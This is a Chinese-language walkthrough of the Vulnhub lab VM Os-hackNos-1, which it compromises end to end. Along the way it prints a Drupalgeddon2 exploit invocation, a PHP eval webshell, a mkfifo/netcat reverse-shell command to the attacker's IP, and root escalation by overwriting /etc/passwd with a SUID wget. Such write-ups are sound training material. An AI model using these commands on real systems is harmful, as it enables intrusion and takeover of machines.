Vulnhub--Os-hackNos-1

Vulnhub--Os-hackNos-1
一,部署方法
1. 在官网上下载zip压缩包
2. 下载到本地上解压缩后使用虚拟机导入.ova后缀的文件(在过程中出现问题不用理睬,点击重试即可)
3. 配置网络,本人设置的是nat模式,这个看个人需求
4. 打开靶机即可
二,靶机地址和描述
1. 下载地址
https://download.vulnhub.com/hacknos/Os-hackNos-1.ova
2. 靶机描述

难度:容易到中级
要找到两个flag和一个root用户
三.测试
1. 信息收集
首先输入arp-scan -l获取靶机的IP

这里发现靶机的地址为154,攻击机为156
使用nmap深度扫描靶机,查看是否开启某些端口可以利用
nmap -A -T4 -p- 192.168.237.154

发现靶机开启了22端口SSH服务,80端口web服务。
那既然发现靶机开放了web服务,那就访问一下查看

发现是apache的页面,没有什么有用的信息,那就目录爆破一下下

发现这时提示一条新的URL,进行访问查看

发现是一个Drupal7的CMS页面,这时发现james像是一个人名,继续在页面中搜寻功能点。
没有什么有用的发现,这时突然想起有针对于Drupal7的漏洞Poc。在github上进行搜索。
发现真的搜到了关于drupal7的漏洞利用


这就发现破绽,可以getshell了。
2. Getshell
首先下载漏洞文件
git clone https://github.com/dreadlocked/Drupalgeddon2.git

进入Drupalgeddon2的目录下

使用drupalgeddon2.rb对目标网站进行扫描
./drupalgeddon2.rb http://192.168.237.154/drupal

发现缺少依赖,再下载一个依赖库
gem install highline

再次重新进行扫描

成功获得shell

可惜获得的权限太低。
这时发现现在所处的位置在drupal站点下面,也就是说现在所看到的信息都可以在网页上展示出来,这时进行信息的搜集工作。
在CHANGELOG.txt中发现CMS的具体版本。

在INSATLL.txt中发现这么一个文件总是被提及:/sites/default/settins.php

怀疑是drupalCMS的配置文件,进行查看

发现无法查看。这时想到drupal的版本号,在GitHub上搜索一下,可能存在exp

果然存在
使用命令进行安装exp
发现没法链接到GitHub,(校园网服服了)
那就只能下载ZIP到本机在移动到kali中去

这里使用python3进行工具的使用。
3. 使用exp对靶机信息的深层收集

先查看一下参数
这时发现-c参数可以执行系统命令,那使用这个工具进行查看sites/default/settings.php文件是不是可以。
输入命令
python3 drupa7-CVE-2018-7600.py http://192.168.237.154/drupal/ -c "cat sites/default/settings.php"

发现没什么有用的信息。
突然想到一个思路点子:如果可以执行命令,那我们是否可以写入一句话木马,通过蚁剑进行连接,然后通过蚁剑终端进行反弹shell。
4. 利用命令执行漏洞进行getshell
新建一个文件夹并在其中新建一个shell.php的文件,其中写入一句话木马

<?php eval(@$_POST['HK']); ?>
这时在当前文件夹内开启python3的server服务。


这时使用漏洞点进行命令执行通过攻击机的开启的服务下载一句话木马。


成功下载到CMS的目录下,使用web进行访问


空白,使用蚁剑进行链接

成功使用蚁剑进行链接。
这时查看目录,发现在/home下有一个james用户存在user.txt文件,而这个文件刚好于开始的CMS页面上的名字一样,这是普通用户

这时进行反弹shell的尝试,首先在攻击机上进行监听

在靶机上尝试反弹shell可以说是一路不顺,因为靶机的netcat的版本不对,禁用了-e参数,这时尝试进行bash下的反弹shell都以失败告终,又发现在靶机上存在python3的环境,又尝试使用python的脚本进行反弹shell,不出所料,还是失败了。这时想到了在web下抓包写的命令执行的反弹shell的语句,因为在web下写的命令执行的语句最后也是在靶机上的运行,所以不妨使用这个命令进行尝试反弹shell,果然....这个成功了。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.237.156 3333 >/tmp/f
在这里命令下成功反弹shell

输入命令,创建出一个交互性shell
Python3 -c ‘import pty;prt.spawn(“/bin/bash”)’

又到了一年一度的提权过程
5. 提权
首先进行后台的信息收集工作

在/var/www/html目录下寻找到了一个可疑文件alexander.txt,查看后发现是一段乱码文件,看文件格式应该是base64加密后的,复制下来进行解密。

解密后发现这又是一串密文,搜索一下得知是barin fuck的加密方式,使用网页进行解密

发现是用户名和密码的组合:james:Hacker@4514
这时想到在刚开始的信息收集中靶机开放了22端口,ssh服务。产生进行登录

密码不正确,这条路堵死。
既然提权,那这时尝试使用命令查找是否存在提权的命令或文件。
find / -perm -u=s -type f 2>/dev/null

这里发现wget命令和passwd的文件,是否可以使用这两个东西进行提权:例如从攻击机上使用wget下载passwd文件,替换原来的文件进行提权。
首先将整个passwd的文件复制到攻击机上,保存为passwd文件

使用命令生成用户名和密码

将root的格式复制出来,对照着root的格式,更改成自己的格式

将自己的用户名和密码保存进passwd中

使用wget将攻击机上的passwd下载到靶机并更换/etc/passwd

查看passwd文件,发现修改成功

这时使用juzi登录

发现权限为root
进行根目录,找到最后的flag

成功渗透。
四.总结
1. 信息收集
2. 利用已知漏洞点进行getshll
3. 反弹shell新方式
4. 利用wget提权